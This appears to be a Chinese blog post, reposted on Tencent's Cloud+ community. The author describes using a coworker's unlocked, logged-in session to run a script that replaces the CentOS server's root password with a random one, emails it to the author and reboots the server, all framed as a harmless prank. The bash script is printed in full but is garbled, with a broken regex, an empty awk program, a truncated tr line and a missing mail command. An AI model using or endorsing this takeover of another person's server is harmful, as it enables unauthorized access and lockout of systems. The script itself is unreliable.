我是如何修改别人CentOS服务器密码的

前几天鼓捣服务器来着,发现这个密码已经好久没更新了,并且还是比较简单的密码,于是乎就简单修改了一下密码,不过令人遗憾的是等我操作完退出CentOS服务器的时候密码我已经忘记了,完了又是一顿乱操作,删掉旧密码,重新设密码。。。跟我在一起办公的有一位开发的哥们,电脑每天从不锁屏,出去吃饭或者上厕所的时候电脑屏幕始终亮着,那么一向调皮捣蛋的我就想搞一下他,让他也试试密码不对的滋味。有一天跟往常一样,当他出去的时候,我看到他登录着CentOS服务器。好吧,机会来了,把我早已准备好的脚本上传到服务器,执行之后密码被修改了,并且复杂程度我想应该没有人能记得住,况且密码修改完之后我趁机给重启了,哈哈哈,看他怎么办,不过密码我是知道的,因为我有邮件,后来密码我也告诉他了,我只是想恶搞一下,没有别的居心~~~~

下面是执行脚本:

#!/bin/bash

ip=`ip add|grep -o -e 'inet [0-9]\.[0-9]\.[0-9]\.[0-9]\'|grep -v "127.0.0"|awk ''|head -1 `

#这一行是提取本机IP的,不需要改

tr -dc _A-Z-a-z#$%^*-0-9 /home/1.txt

#这一行是生成随机密码的,随机生成20个字符串

cat /home/1.txt |passwd root --stdin

#这一行是将生成的密码写入本机root用户的密码里面

#这一行是将密码发送到指定邮箱,这里设置自己的邮箱

if [ "$SendStatus" == "1" ] ; then

echo "Sender mail ok"

rm -rf /home/1.txt

#操作完之后删除密码文件

else

echo "Sender mail fail!"

sleep 50

#如果发送失败,则等待50秒再次尝试发送邮件

sh /home/psd.sh

fi

既然准备好了,那就上吧,将此脚本上传到服务器,开始执行:

回到邮箱看一眼:

哈哈哈,搞定,坐等看他无助的样子~~~

欢迎各位大佬能提出宝贵的意见,我们将感激不尽~~~

  • 发表于:
  • 原文链接:https://kuaibao.qq.com/s/20181211G0250K00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券